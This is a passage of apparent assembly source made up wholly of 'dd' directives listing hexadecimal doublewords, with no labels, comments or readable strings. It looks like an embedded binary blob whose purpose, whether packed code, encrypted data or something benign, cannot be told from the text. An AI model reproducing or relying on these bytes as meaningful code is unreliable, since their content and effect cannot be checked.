0EE6D0075h, 64241F9Ah dd 7A909252h, 0E0B2A024h, 535D9000h, 8C033Ch, 0FFF5CE9Eh dd 0C86EF158h, 6AAA60E7h, 638B400h, 0A3664CAFh, 8F7EAAh dd 1E447A03h, 2D3A4114h, 0BB0B6200h, 29AFAEF8h, 6BC10091h dd 0EC144A2Ch, 123041E4h, 0F53AD99Ah, 0D42F50C6h, 53D50285h dd 0C7580366h, 142540D5h, 0EE9300EAh, 0CEF70DA0h, 0DF30E484h dd 25553042h, 0EACC9837h, 0AD8E00DEh, 0C7AA866Dh, 8400385Dh dd 78D0C52Fh, 76A6FC68h, 809B189Ah, 96F33875h, 3EB72000h dd 533067B1h, 0DFED146Bh, 7AEC49h, 327B8646h, 9D877013h dd 2527BD0Fh, 51F6A29Eh, 75A44031h, 8BCF00A0h, 5F7EB5D4h dd 160098DBh, 21DD72FDh, 4A4C735h, 0E39D77E7h, 0D9D4C087h dd 3D3A8F5Fh, 80A0FB4Bh, 7A50C34Fh, 0C8009734h, 67913824h dd 304B3CF6h, 0BB295361h, 22003132h, 90571DE6h, 236D0Eh dd 8F49ACA9h, 0E9606A41h, 0ABCFC104h, 18C2BB3Bh, 0F84C4858h dd 8F660608h, 3AE63579h, 1C01A17Dh, 83A5C171h, 0F1703965h dd 4C9192h, 62BE8C55h, 7AF29F20h, 0DFA45A0Fh, 0DC944Ah dd 0CD7C5279h, 630390h, 0A5085FF3h, 2946CAE7h, 2300ABECh dd 914E688h, 0B63E17h, 0F6B5F91Eh, 5954E777h, 0E8E1B801h dd 0AB55BCA2h, 7F48960h, 1E640F17h, 30A4F0E5h, 36B07035h dd 25B39200h, 0A718F88Eh, 0C120FABh, 370D7Bh, 0B55E7DB9h dd 4E7E7158h, 13529C3Eh, 28001A34h, 29D28D44h, 873A0020h dd 50A2D565h, 0EF095DF1h, 0D5BE54E0h, 6D3BED00h, 0CB00DD36h dd 1972D5CAh, 0DC39DB5Ah, 4979C038h, 0FBB47F24h, 78FA320Eh dd 0D2DA037h, 8021B9h, 0E48AA0AAh, 0BD1D94A2h, 0D74B9528h dd 3E0F27FEh, 8092A7F9h, 0ED719A70h, 0FE406C2h, 602DEFFAh dd 2CC88301h, 138785F4h, 921020h, 0E9B20FFDh, 4F8401AAh dd 0ECD00600h, 9B2BCFA8h, 904E245Eh, 2EE100ACh, 9892BBB1h dd 0EB5C940Bh, 0A5D48097h, 7C2FB36h, 7AF9F19Ah, 2D20AF83h dd 0F0C6871Dh, 2C921300h, 358645D2h, 991C5C7Fh, 0EDBE12h dd 631929E0h, 8E0024E2h, 0C3662E7Ah, 5BBA56h, 37851191h dd 532CF7D1h, 4951B00h, 0D5F9C699h, 7B600A1h, 3AF86F78h dd 0F012821h, 0A8AA482Fh, 3FE8B41Dh, 71E0B8h, 85514E70h dd 0FCE2B59Ah, 79B1B75Bh, 789890FCh, 8828075Fh, 7915CA9h dd 20FCD66Ah, 49D6D200h, 0E55D31F6h, 0B18700B3h, 0ECC00925h dd 10F93F8h, 604AFCF2h, 908845B7h, 3760003Dh, 22E41950h dd 0AA0070EBh, 298A6F85h, 1B31154h, 8B4DC79Bh, 0F05028F9h dd 6A1D5F46h, 0F8C0C53Dh, 3BA713EFh, 1F34F4EEh, 1E7206h dd 0F94BDA92h, 2FF4867Eh, 0E21F2DEEh, 0EA402749h, 454C8D4Fh dd 7622905Ch, 93C70088h, 5E51063Fh, 900469Dh, 822A533Eh dd 0E348F17h, 0C63304D8h, 5893B280h, 4A1627EBh, 3400BAAFh dd 9F41A383h, 64F104DEh, 847895C1h, 0CACB0h, 6CA4D55Ah dd 0D1C09Bh, 0D0713FA8h, 0B33A1306h, 4478C403h, 0E3191AA6h dd 0FEDEA835h, 0EB072CE8h, 4D7E00EBh, 3795BA41h, 9A2941Dh dd 0B57A3183h, 0CA5B8050h, 913A006Fh, 75BC60B7h, 0E20003E1h dd 0CBEFC4A6h, 30F0A452h, 2AF0843Bh, 0C200BC33h, 43ABB69Fh dd 0EF3AFBEh, 811A2488h, 1C935121h, 8E17CCA2h, 0C8032F71h dd 432BA092h, 0C5E80058h, 0CC055DE5h, 62000228h, 2049BD85h dd 84F13Fh, 0A6803EA2h, 2E0825ABh, 0B0A0D3E8h, 35008EA9h dd 79907820h, 0E23F9Fh, 157E6D0Dh, 0B22C9C3Eh, 51FE0F00h dd 481BDC24h, 0F2AB852h, 0F6C7D97Fh, 0D14F11C0h, 59F239A0h dd 0E5F4B103h, 7865250h, 0CE014E50h, 0CBF7E0E9h, 0D1008C04h dd 0A7308346h, 872E1Ah, 7BB8836h, 90AA7120h, 8A7D0807h dd 1E802777h, 76368Ch, 0D77A1A49h, 53BE0F8Fh, 61005090h dd 5B97995h, 275D9D01h, 2F012B7Eh, 0D056A974h, 0AA0123DDh dd 360DED49h, 5680A085h, 185F28C6h, 0F6E86CDEh, 3A16D903h dd 0A13ECC9Eh, 0C8427599h, 17F0E088h, 1C63301Dh, 18AC67F8h dd 9E722700h, 787064DDh, 0C8680077h, 8AFBA212h, 320FE338h dd 409182AFh, 95DFC318h, 74FC00F9h, 2471291Bh, 4A00E299h dd 565352C1h, 58689Fh, 0B7E0B830h, 0EAFBB5B0h, 0A6DFB200h dd 0F7765006h, 0AC75018Bh, 306F158Dh, 0EDD320E7h, 0BAAA6303h dd 0A8DF947Eh, 0DEEAE0h, 5845F938h, 2A9C4C64h, 0F000447Eh dd 0BCBF7E35h, 0F44785h, 0A1B3E677h, 0A9FEFB7h, 0E10CC507h dd 1080368Ah, 0FCD19D26h, 92A8061Ch, 1839705Ah, 3B52AB00h dd 4BACDD01h, 56AE0734h, 40BCA53Ah, 0CCF12012h, 2599F200h dd 539D1438h, 1DE861h, 71E815CEh, 49C93DC6h, 85A49E14h dd 0BB2200B0h, 0AA763A3Bh, 49D4EC83h, 0A1007C78h, 1B2EB901h dd 0EB001A94h, 0A4B78660h, 0C028AB3Fh, 55ADF738h, 7C925E45h dd 6A0A970Fh, 7801B2F4h, 0AD1F68C7h, 0ED751E0Ch, 0B0774892h dd 33572F0Eh, 0F52860EBh, 419F0CBh, 0E15549B5h, 0AC24805Ch dd 6E1E7156h, 7F0EC797h, 0FD638169h, 54305FFBh, 84BD2002h dd 1CA95444h, 8060D74Bh, 0FD0EFE67h, 0C0AF7F0h, 0FC799F6Fh dd 0B7163E03h, 0FE5280EDh, 0BFE2003Ch, 0EED53AF1h, 25000D45h dd 4DD14A78h, 788C9642h, 415D038Eh, 0ABD7931h, 0A4EB18F0h dd 0A4AF4Ch, 973CC093h, 2360AEh, 4719FAA2h, 968FA12Bh dd 0A6C84400h, 3265B6F2h, 0C340E793h, 7024685h, 4EF7FB90h dd 0A0704013h, 953B20D9h dd 0EF03777Dh, 2BFE0D8Ch, 0B6B7E84Ah, 662D2C45h, 0EF48008h dd 86B991C9h, 42214900h, 6AD7DBCh, 8198982Eh, 52D47683h dd 1177009Fh, 33C7D8BAh, 0AA02ADBDh, 0CB370F24h, 326C60A7h dd 0F42D0F83h, 0B9A0193Ah, 3705F003h, 4B2A9E00h, 8AA741A8h dd 56CF00D7h, 9F030F87h, 7300070Bh, 9C35CB9Bh, 0ED3A70h dd 3340D530h, 0FE717C24h, 22954803h, 0E85CA0C3h, 0B3364Dh dd 2532BE37h, 0D3F7B29Dh, 8D510B00h, 95CD98E3h, 30988Eh dd 6E3B5B7Dh, 0EA885072h, 0EC82BD00h, 303ECF56h, 3CF8D3h dd 4F4023C3h, 94DFA666h, 0EF030E00h, 48746B5Dh, 7C7B39h dd 0AA844399h, 0AB8B686Eh, 0EC022B07h, 6CC0F050h, 0EE48CBC3h dd 0E4A2003Fh, 5B42F929h, 450072C9h, 2B60CC67h, 6BBC64h dd 34C7E452h, 9298BB07h, 3861830Eh, 9160E010h, 0F06A4Ch dd 762C6E8Bh, 2A7DAA72h, 6762CA01h, 0B7BD4F15h, 34D24E4h dd 0FD885FBFh, 19DB5EF5h, 9C1C0DA0h, 374C0FB8h, 76D100A2h dd 578486DBh, 55F60710h, 20582F9Fh, 93224A62h, 3FE73700h dd 955F4F79h, 3EDE4EBh, 17674D99h, 0B2703540h, 0F3439707h dd 7B07DD3h, 1FC46E88h, 5665174h, 0C09BD161h, 33E39871h dd 0CD04AD2Ch, 5D9B001h, 0EEF314C3h, 8D022890h, 6AC20318h dd 52C47BE5h, 7EA06FA3h, 28CF9C85h, 5AC870D1h, 6C00F4BAh dd 6A35D967h, 165595h, 8F5192C9h, 70637F5Ah, 3901F877h dd 0A737359Dh, 0B9C0203Fh, 187A0FC7h, 6AC3053Ah, 8BF048A4h dd 235002ADh, 8250FC34h, 0DC036A54h, 284CE3A2h, 75782BDEh dd 831F9078h, 0A07BA7FDh, 22571941h, 4631854Ch, 43E2D1A5h dd 9BF9288Eh, 0EF9AD2C2h, 100F4140h, 0C4005078h, 8FDF5EF3h dd 36C2DA2h, 0EA341201h, 74A8189Eh, 7F0058C8h, 90048B81h dd 0D6411Ah, 3B7DB60Ch, 694E0397h, 1B8A138h, 0AA0A9277h dd 60CEC3DFh, 0F7604F3h, 0EA3E3316h, 60A800D6h, 0EFD40A2h dd 0C388201h, 0B6E4134Fh, 8E7CF0h, 0AB910F6Fh, 0ACEC6983h dd 9C014AEAh, 0F5A29A4Dh, 16301DDCh, 0D670081h, 4ABA5B64h dd 21005913h, 35A55A79h, 35FEC5Ch, 0CE8BEF1Bh, 65A8B8F9h dd 700766Ah, 0A134817h, 1A544BEh, 0AD736BBDh, 0CC1855EAh dd 0E000DF3Eh, 0EEA086A7h, 805453h, 0FA23A9Dh, 0CFEC65F6h dd 0E1F311C0h, 84DD4Eh, 8DA191E5h, 0E646867Ch, 0BD0F100h dd 4C3AFEAAh, 0D2740092h, 0A6A8503h, 560ECEEFh, 43503BC3h dd 7C843018h, 8604AF51h, 10A713E1h, 15C9CA07h, 5FF0A07Fh dd 1A3A426h, 0F95D3DC5h, 0C862E19Fh, 87196C4Bh, 329132Ch dd 5B447308h, 6510844Eh, 37117E01h, 1D2C2127h, 83122BAh dd 271B5114h, 26895F08h, 5D6F1441h, 25CF5188h, 2D67900h dd 0F7A875h, 40AFED34h, 0FCC990DAh, 39820D00h, 1AA6B820h dd 0CF8B00BAh, 6B79C2E7h, 0B09806CBh, 705D0526h, 29C7300h dd 2C52DEh, 0E60FB9A8h, 7EB677A9h, 0C9F22851h, 8188EB1h dd 0B34427EEh, 6A92E1B0h, 3BBD008Dh, 0A429E9D1h, 85287236h dd 0F030FCB2h, 0F63090ACh, 98F8B7h, 0A6A9BDD4h, 0ECA32088h dd 639B4E14h, 0B27000F6h, 0DA465B9Eh, 906900ABh, 8561B848h dd 0B381843h, 349E007Bh, 620439D2h, 0A16C0364h, 4B26FEC5h dd 0D4F2B780h, 1E8BBB02h, 40FAAB73h, 1F01AFh, 2614A340h dd 7DC21CDFh, 0C1756F00h, 494BD5F6h, 0E20FF2C9h, 761A00E3h dd 56031CCCh, 58245D47h, 0A0000CA6h, 0D9E2841Bh, 28EE2E49h dd 0EF240016h, 3F14C2B1h, 7EA5653Bh, 0C33DFC7Fh, 68B48E21h dd 6D30E3E6h, 9AF2F880h, 0E940001Ah, 2DC727A4h, 5900671Fh dd 0A1FC989Fh, 329922h, 0E1812A39h, 51C8A478h, 0B896D400h dd 71F85C73h, 7CD3BF0h, 0B9CB160Ch, 0E407BF19h, 78A391A1h dd 30FC3E00h, 53CE173Ch, 0D1CC00B7h, 8119B1Ah, 5E683200h dd 0F46B55A8h, 0CFA6122Bh, 0DEBC40A9h, 0F7597898h, 0DBD8AB00h dd 0F137DF6Ch, 3DFB74A2h, 0E481F6D6h, 0B0648508h, 0EB20CCA8h dd 6E013F77h, 0DF53274Fh, 0ECC4A7A6h, 0F5ED00B0h, 7D81B929h dd 1E010FCEh, 0C222F239h, 80608E77h, 50DC009Ch, 78287953h dd 0E9003314h, 0CE9F6989h, 77757Fh, 1E2BCC6Ah, 0B2B52E09h dd 8030B13Ah, 0D03DD905h, 7E8BF9h, 72F7CFD5h, 0C93AC35Ch dd 0FD0BD200h, 16486966h, 0EB43018Ah, 0FBEA3D39h, 0DABF5Fh dd 0FC05DB51h, 3BD53CC4h, 9280E77Ah, 0A13DEFCCh, 0DA71D37Fh dd 86A98700h, 44C8CA4Dh, 0ACF60064h, 0C382AE73h, 0B005443h dd 7D98F56Ch, 786F4A0h, 3AF01E3Eh, 5F343064h, 9E14ED4Ah dd 80466Fh, 175262BAh, 50396426h, 7123FDF5h, 0BDD80061h dd 24DD27Bh, 0B9E22D32h, 0D41A9300h, 24ACC74Eh, 38840081h dd 0EA82832Ah, 7B71BFB7h, 0C5FD0D00h, 8E87C0C4h, 0A35C141Eh dd 7602E403h, 4C9B37Eh, 263C87C0h, 0B95B2F00h, 0ABB08DA9h dd 63DF1D9Dh, 16E68039h, 3614B122h, 96922713h, 44598800h dd 0F402D450h, 877A001Eh, 61E96ED0h, 9000FECDh, 4049F199h dd 0A9BB304h, 0C1F3771h, 0A752018Fh, 0C4844EDBh, 0B502D44Ah dd 0B17278E6h, 6FF441EFh, 574DD0h, 88749F64h, 34DFE1E5h dd 4BB99003h, 0D863AF3Eh, 0FA3D9115h, 0C1A30032h, 0E6B30A03h dd 5400E211h, 0B5923849h, 19948F4h, 7245098Fh, 0C0F6B6FCh dd 41FE766Eh, 5B9B8E01h, 0F0772E9Ah, 7D6960h, 12092F37h dd 96A32672h, 76C55E00h, 332BB34Fh, 0B2CB0EA1h, 0D8207D8Eh dd 0DA0F5CBBh, 0D05B9301h, 48C1F682h, 3DF5A8F8h, 5080989Eh dd 16426751h, 3D76A3E1h, 0D6749000h, 0F04C402Bh, 393C0711h dd 102A5905h, 0AA23CC49h, 5403D879h, 76EC27FCh, 7A80064h dd 0C181E4C6h, 0B0308B9Dh, 53FDD0E5h, 4C4D00B9h, 0BCF70197h dd 0A70086E1h, 7BD408FAh, 0DD2A07h, 5C32441Dh, 0EE13995Fh dd 16EBF00h, 8B606658h, 12FA1E7Bh, 0C2F700F2h, 28FC4815h dd 0AB62000h, 62C6E997h, 704C00F8h, 49F3C545h, 3814B93Bh dd 7A848C1Ah, 58EBB403h, 0F9B61FB2h, 33F05527h, 4D3000F5h dd 52760567h, 9300B013h, 1F6F5380h, 330350h, 0CEAA5CC3h dd 98602F71h, 57002270h, 7E2DAB12h, 499CE094h, 6A240437h dd 0DE9C3BA9h, 0C59B4FB2h, 73995A80h, 3C002988h, 0AAAF64C1h dd 65769Fh, 72C280B0h, 336754BCh, 0DF36A00h, 41834084h dd 0B42D52FCh, 1FCE40h, 0A91CE2A7h, 215F1932h, 288C4931h dd 0DCD4B553h, 0D62400D9h, 0C9721CF4h, 381EBCE9h, 9A80FF52h dd 365503C2h, 93A01B6h, 3F8272B3h, 808ED07Eh, 1D49510Fh dd 0C3FE673Eh, 0E9C9B173h, 0F0802430h, 5FAF973Fh, 0CAF89E64h dd 707E7501h, 87E339C6h, 0B98BE30h, 94A45972h, 0EBC26380h dd 9B3881E2h, 3F6D804Ch, 0F507174Ah, 53AF007Bh, 232270C3h dd 9000D33Ah, 1EC5F1B6h, 1D143CE9h, 8046442Fh, 0E1A121A8h dd 9A3A8528h, 0D64800D0h, 80ED4D84h, 106F0F4Bh, 401F2F4Fh dd 0AC412B53h, 6A000C8Bh, 372C1D9Ah, 450498h, 212E74D3h dd 794BB872h, 0DCE2F0C1h, 0C208DC4h, 0FEC7950h, 51EB2FC9h dd 94E3FE20h, 0C0C0CDD0h, 3267C720h, 0CEB90031h, 40E2CA7Ch dd 20901DEDh, 0C5842B00h, 680398A1h, 440A0F85h, 0ED40C696h dd 842B8EAh, 0E4D1B000h, 4FA91D9h, 5ACA0E37h, 0B880C3EBh dd 0B210F6A5h, 99479804h, 288030C1h, 0FE4524FBh, 267601F7h dd 76E25B6h, 6D7CC0A1h, 0E47E4304h, 0F0803FD6h, 3D78AB1Fh dd 2F004001h, 1159FD6Bh dd 0F2002CA5h, 0B2D035C0h, 70A6CABEh, 210900E6h, 0DD25FD68h dd 98A8A10Dh, 0B32E8193h, 56004226h, 34A91FD1h, 3AAD00DFh dd 0C2B2D67Dh, 0F63E8133h, 0DDBD8093h, 7B9EA6F0h, 0DA3800ABh dd 0EECA7A77h, 0D800B58Bh, 24ECFF39h, 0A1731Ch, 4E4C6557h dd 32DC7EEDh, 91807660h, 0CCA0D0h, 19C5A62Fh, 5E69DD55h dd 0F307837Ah, 0A521AA9Bh, 7202D07Ah, 8F9D13F8h, 1F7300DCh dd 0CA9EF1h, 0EB3C5D88h, 0F23E375Ah, 0B8E7A04h, 0F702CC86h dd 0C1407459h, 0A0491B18h, 3B5200A8h, 0F72C70A2h, 0E8146117h dd 4029773Eh, 7D0C5DCh, 60B6500h, 2F314D4Fh, 3F791C61h dd 8B6BC3C1h, 0FE80E1FAh, 5C4C4ABCh, 62850090h, 17F5F605h dd 0C5183ABDh, 0E0F675h, 51B867B6h, 69F8D557h, 2AA18C02h dd 0C3BB8A1Ah, 9E4E88F2h, 35800142h, 2041F274h, 0DEC3D8AEh dd 93279202h, 8008948Eh, 0BF9A8FACh, 0C87C09D0h, 1800C483h dd 0AED36AB9h, 6F5B7500h, 0C03BC548h, 0ADE8C095h, 4BDB9E39h dd 7F8E68C0h, 946924h, 9A097465h, 0D668FB7Ch, 0E0BD9207h dd 80456A28h, 18B18844h, 0ED3A6B80h, 4B300089h, 0BACDE1D8h dd 8E071BDFh, 3DC84333h, 29FA2410h, 0B86A0030h, 2592D99h dd 7D98E848h, 0E4B70500h, 0C7DD3E2Eh, 9CBB5435h, 26630FB0h dd 2D80A1E2h, 0CE53395Fh, 0FDC2281Dh, 48299E00h, 0F321763Eh dd 0A8C3E243h, 24EE5EA9h, 88FA1h, 0FC6F0879h, 0FA02FBB1h dd 4C217326h, 597B4093h, 0C2A100CCh, 8F95B62Dh, 1226ECA4h dd 0DF802CACh, 8DC1C690h, 947C00D3h, 0B1EB013Eh, 0BC9024D2h dd 3958F413h, 0FAA1D801h, 0FBC4326Fh, 6EA601E4h, 22BF4692h dd 24A03062h, 88930100h, 116D5580h, 263F7F83h, 1DE4BB0Fh dd 9C1D0E4Dh, 5974B920h, 0C407A20Ch, 0F13CC60h, 826140A0h dd 38941F02h, 0CD3782D0h, 704073AFh, 0C6B01528h, 4547E02h dd 0E45A0829h, 99F4161Ch, 0C0A81D64h, 20796585h, 7490AE4Fh dd 4B2DE500h, 8312F3BEh, 44193C9Bh, 4502A060h, 7E284041h dd 0AC00A088h, 540E51BBh, 1F5D89h, 90ADEB2Ah, 2417304Dh dd 0EDA53600h, 0FEC16FC8h, 0C9C61ED4h, 8A97430Dh, 0EB987EA9h dd 0B0056D6h, 18F14D52h, 0CF9BF26h, 1FBA6EB0h, 790197A0h dd 1C2C770h, 58706F62h, 13650148h, 0E52545A2h, 0A813DB4Eh dd 83054BEDh, 5CC47CA7h, 5C924EC5h, 5051E0E8h, 0BAD1023Ch dd 0B6F4201Dh, 4712B080h, 2C00B70Fh, 3A7EEE42h, 601EBDE3h dd 41936882h, 595C45F8h, 28711D48h, 3964E280h, 72A9E1h dd 0A5C41B94h, 0CE8567BFh, 4C9E9902h, 0C04B2F82h, 0E0379410h dd 0B063711Ch, 0CC7116A6h, 251C406Ah, 0A5DE8DEFh, 1DF848C1h dd 0B0766E1Ch, 49C8B100h, 2A7A9CCFh, 8481C0EDh, 0C7045200h dd 14DF2E68h, 6135268Eh, 0C30E4560h, 42813608h, 5AFE403Eh dd 0FB00E945h, 0DC980A15h, 3AD53F9h, 3CDD4D5Bh, 50E0A548h dd 0F0D35502h, 20573C4Fh, 1458CA4Dh, 3DE8B7h, 1DCC6F66h dd 4C0D7CABh, 0E92FEC1Ch, 93B9F40h, 2E8EBD1Fh, 7D00723Fh dd 0B4C0EE10h, 0A9B3635Ch, 0BAE0E601h, 20F37AC3h, 0E986C8h dd 0CF2D3BD3h, 82C95CDAh, 8097723Fh, 554DC734h, 48AF949Ah dd 8033C8Bh, 0AA4E2C5Ch, 0B01CF0BFh, 651290A1h, 0B00EE48h dd 69B7804Dh, 0A49467h, 0EAC10CD0h, 8A013E2Ch, 742E3B4Bh dd 0E040F298h, 0EC8BBEh, 0F3BF539Dh, 0F79254EBh, 0B46FD8B0h dd 15342120h, 11BDD8A8h, 0A296B181h, 240AB0F0h, 0FD046630h dd 2A5537D2h, 83346081h, 0C4EC512h, 42325500h, 56EB30D0h dd 367C26D5h, 7BB50089h, 0A4703E80h, 0B943C100h, 0E74A21D6h dd 86648B7h, 802EE51Dh, 0FD3DCAAh, 307F77C5h, 16F5B512h dd 727580Bh, 0C0C0B25Ch, 0C36AA0h, 0DEBBCF8Bh, 2613047Ch dd 603EE500h, 278947FAh, 0C6E1004Fh, 5E64DC78h, 0DB0063E6h dd 528C2516h, 0EC46481Ah, 0D9842667h, 5C3900CBh, 0A33D4D09h dd 0F20B0801h, 27AED6A9h, 0D06080C5h, 75B113DAh, 1D284794h dd 0AF483084h, 0F801062Ah, 377F1A3Fh, 4DE0B7C2h, 12071FBh dd 0A4180AFCh, 70CEC521h, 0BF019020h, 1EEAB79Bh, 6460917Bh dd 72A10081h, 0EF0D8EBBh, 0C100466Eh, 54C0A95Eh, 0B8F876DCh dd 75910050h, 2679CE14h, 41045C53h, 0D5B8F396h, 300718D0h dd 0F6A83811h, 0C588DB3h, 0DB8E3DF8h, 0EC9B3100h, 6D9CF41Ah dd 68E50391h, 751F9A0Eh, 3BBC5CC8h, 0E6514300h, 0AB578C85h dd 87C50065h, 889FFD90h, 4F0047B0h, 677E5A1Dh, 7E08EF1Ch dd 0F5193E70h, 26744880h, 38395D75h, 720060B2h, 57C0D021h dd 3886AD66h, 75853E63h, 0C0BD95FBh, 328A6EA0h, 8884B700h dd 1DD2AAACh, 0A3DB0315h, 261F192h, 18975990h, 5047BB02h dd 410FBD36h, 0DFD4C6E4h, 0BE83182Ah, 0DE151073h, 0DB75501Eh dd 26B4CC49h, 7678F8h, 0D6654403h, 91A3C15h, 31EFF900h dd 0F2E28C81h, 29620206h, 5F631EBCh, 300AA887h, 0E459E0D2h dd 62368000h, 583E0578h, 0DA2A00EDh, 0ECF4843Fh, 4500514Eh dd 7A8B0BB5h, 6F543BDh, 562BC3FAh, 0E8783881h, 0B70D530Bh dd 0F8ECA145h, 583082B3h, 0D5E76DEh, 7664DFAEh, 25A85060h dd 77003F2Ch, 164EFC57h, 639F9Bh, 2036FB5h, 3DAF6A4Fh dd 8F442603h, 0C0527CB2h, 1FB6BDA1h, 409F65DFh, 0CB14D34Ah dd 1E792498h, 37D6B07h, 0BB80B847h, 982A50C3h, 0F8BFC6Eh dd 0BC514C69h, 0ED0E406Bh, 7E57A020h, 0D600D019h, 1FF8B702h dd 0E4FDEFF7h, 0CEB900A1h, 0B3A42109h, 0C2546E9h, 176020F3h dd 7CE44339h, 0FA7FEAh, 449AA905h, 3A4E8030h, 6E000C91h dd 15D1395Ah, 3E1E078Ch, 4665F40Dh, 410021A5h, 0CA5638DAh dd 83557Bh, 0ADFE0C6Fh, 6E7A9592h, 5C82F48h, 663C8EA0h dd 128028D7h, 0B85CB764h, 0BDCC80E9h, 6F08CC42h, 5200FF21h dd 0CCF040B7h, 3D93006h, 7EEDC18Dh, 7A81B101h, 8E818E8Ch dd 0B609648Fh, 1DE060A1h, 59B30056h, 0A6E1ED75h, 0DF74852Eh dd 3981A59h, 0B5B34F32h, 37D3D833h, 0D5D55867h, 9BF22A00h dd 340F415Eh, 0A229515h, 697C0E90h, 44218791h, 407BF502h dd 308FB411h, 0C5E86E59h, 0D6CB1F9h, 18579098h, 10104511h dd 3B0E3930h, 0A0BA94B2h, 171AFB22h, 4E6E008Dh, 0D7066BBDh dd 801DE681h, 24C0A642h, 0E293D209h, 5E5000BEh, 0B0694F07h dd 0FF0C42EDh, 908968C0h, 0FDB90074h, 45D1770Fh, 0FA05C231h dd 439DDAB8h, 6FD35680h, 0EB8E0018h, 0C6C0EA1h, 0C41DC5C7h dd 80801B71h, 4BE11120h, 76930041h, 0F89E4CFFh, 7000530Dh dd 42C5CB8Ch, 790665Fh, 8F6CD703h, 0D8A33F83h, 69F82078h dd 0F75C3BE7h, 35FF0085h, 0B1DD91Bh, 0EC6133D5h, 211CE908h dd 8F7E36A0h, 0CEC9DDB7h, 8F6F012Bh, 0D8CC2956h, 60BB000Ch dd 701B126Dh, 0A6019A3Fh, 0D0D9515Ah, 5260D798h, 0B1D10ECDh dd 809FF6A9h, 27161720h, 66066833h, 1D702C46h, 21FD6008h dd 94273EB0h, 0AE447E03h, 10E7EF34h, 6FDF850h, 5C72522Ah dd 0CF23680h, 0C446D8A8h, 3A351C70h, 0EF11E3DEh, 3618AD0Bh dd 0AE824C80h, 84483DE1h, 18223983h, 0F788D86Ch, 0B6700A6h dd 18EC29EFh, 56016B69h, 6DD4E9E8h, 18B1EE5Fh, 0D02E5A51h dd 4960F250h, 0A0BE4011h, 0B3C400AFh, 0ABBAE7F6h, 4160E67Dh dd 0A0C60121h, 45B8003Dh, 49F0B77Bh, 97306E55h, 0A42C58FEh dd 0B270FF03h, 0B3CB010Ch, 402E8252h, 0BAE4528Fh, 11360630h dd 88A5DE3Ch, 0FEA380E8h dd 364E1E35h, 0DE18AA00h, 11276870h, 1028A374h, 594A60h dd 664E61DFh, 5421C2h, 58DBD038h, 4DF18E41h, 46001E76h dd 892659BAh, 263CAD9h, 22A25F7Dh, 8F40FB7Bh, 1F009B40h dd 0D1A4946Ah, 0E899B195h, 10E700D2h, 8895912h, 5400F3F5h dd 0B19C0615h, 71FF67h, 254B6323h, 26B65847h, 8909AE64h dd 50CEE2Eh, 0C110E271h, 0A9EF300h, 0A7DC55AFh, 7E5F0950h dd 71006652h, 13D81605h, 0FAC1270Ch, 44A829B0h, 404423A0h dd 84DF44CAh, 0EB54A744h, 10626611h, 113DEFEh, 0C29D4CBCh dd 0E42F3A91h, 2500DB3Ch, 0F3D27D9Ch, 205D9EF7h, 192231A5h dd 3BAA2210h, 0F09E8310h, 6604B121h, 76088A69h, 24A3ED42h dd 0CB962765h, 19A24251h, 5979565Ah, 0D1441F08h, 0DAA1C74Eh dd 0E96D00FBh, 0F007D70Eh, 600797D1h, 4ACDA6F0h, 512B03FEh dd 82FD68BDh, 7F1063EFh, 0AE70858Dh, 616C8100h, 3F9EF93h dd 4CFDAD8Ch, 0DF988E44h, 1600744Dh, 0F730295h, 3CF0FA64h dd 3100962Fh, 1DD5EE71h, 0D700CC7Dh, 0A475DDE9h, 5F0FBh dd 0FFDB63F2h, 0C0558418h, 87493300h, 0D1C101FDh, 6A560FC4h dd 0ED00A0FCh, 450998B3h, 0C7643000h, 14C263D8h, 0FFD40022h dd 36721EB5h, 2607BA5Ah, 18DFB4Eh, 0E2B91370h, 3E070021h dd 0DC1C4394h, 200E6F47h, 768E57h, 4F3419F4h, 0ED290EA9h dd 5CC0EAEEh, 53403533h, 63DB9F1Ch, 76C85DC0h, 31F181Ch dd 91370B3Bh, 88110323h, 0DB00F52Fh, 0EE3CDC9Eh, 2A00854Bh dd 80057E89h, 0E0389Bh, 0C3415BCh, 21BB68CFh, 990EE973h dd 608492C0h, 8E74D918h, 50F41724h, 0A4430001h, 167922D0h dd 0C35FA000h, 0B215FC3Eh, 0EB0E00DFh, 0FB41CE7Eh, 5A011819h dd 0FF9B99E9h, 0E4D8FA28h, 0FE8500F7h, 0A3D38434h, 0BD0331D7h dd 1CF27F9Ch, 5B1A00B9h, 1DE58E8Ch, 0F10E6FF0h, 20058D90h dd 1AB111EBh, 0C23C00EFh, 31BC204Bh, 711EE8A8h, 4600598Ah dd 358E6598h, 8DEF0026h, 43714BDh, 0C20FEAD4h, 0C7D338AAh dd 81B0B149h, 0CA2AA2h, 621CF403h, 0DBA40E45h, 0CB902707h dd 2EB01064h, 0B17AD9h, 0DA02F803h, 4BEA2F6h, 0BA401300h dd 5DD1873h, 0B2D3162Ah, 0F5ED0145h, 0DCB92E10h, 78012F87h dd 0ECF2EE0Dh, 0DCC8DE3Eh, 0BAA1009Dh, 49D4B337h, 47F0E218h dd 2EA6DA00h, 65F05B70h, 0C8A21C1Ch, 9ED61DE0h, 3A98BE44h dd 38206CE8h, 56C2DE00h, 0C33076AAh, 82910301h, 0F4A0A96h dd 0E43D2100h, 40246145h, 18E54835h, 90B2EC00h, 1BF9DD82h dd 0D208EA09h, 11000BCh, 0E8BBE39Ch, 0E6760205h, 0DAA3D604h dd 0EB3A1840h, 0E27E3414h, 9DC902FCh, 486378C1h, 388CF804h dd 0B412B5BEh, 41A70052h, 602838B8h, 0DE47DD00h, 5EE8D8ABh dd 58F439h, 6BD72CFEh, 0BBBF77EEh, 420716F4h, 9A4DC15Ch dd 21E3C800h, 0F8B0C08Eh, 77842CA6h, 26E96418h, 17346D8h dd 9DE6D335h, 0C8BE4CEEh, 760078EFh, 863F5BBh, 99D5CCh dd 0A619D264h, 0C757BAA0h, 0C6B88707h, 58505DFCh, 260E6E6Ah dd 4A4043h, 1A328D1Bh, 0A9FC9ADFh, 7C02C100h, 84E10B0Ah dd 3A090E3h, 0C49BB834h, 2C804CBDh, 75009EFEh, 0E17C0E03h dd 27E0D6h, 490239EBh, 0A65F100Fh, 8D427600h, 0EBFE5E3h dd 368B0061h, 0CC85F5C3h, 5D02C292h, 40D67580h, 0B8C080FAh dd 1E61B50Eh, 80C05898h, 1EE2100Bh, 0EC732477h, 5C00A6D2h dd 7C6D69D4h, 6A2F0057h, 0A924CEA1h, 900E0FFh, 0EA47A53Eh dd 0BCF419h, 3FBAD8CDh, 0F184D7DCh, 4A444E00h, 0EE6F628h dd 0C1807DDh, 132F93AAh, 0D2C0EE13h, 9501EFF1h, 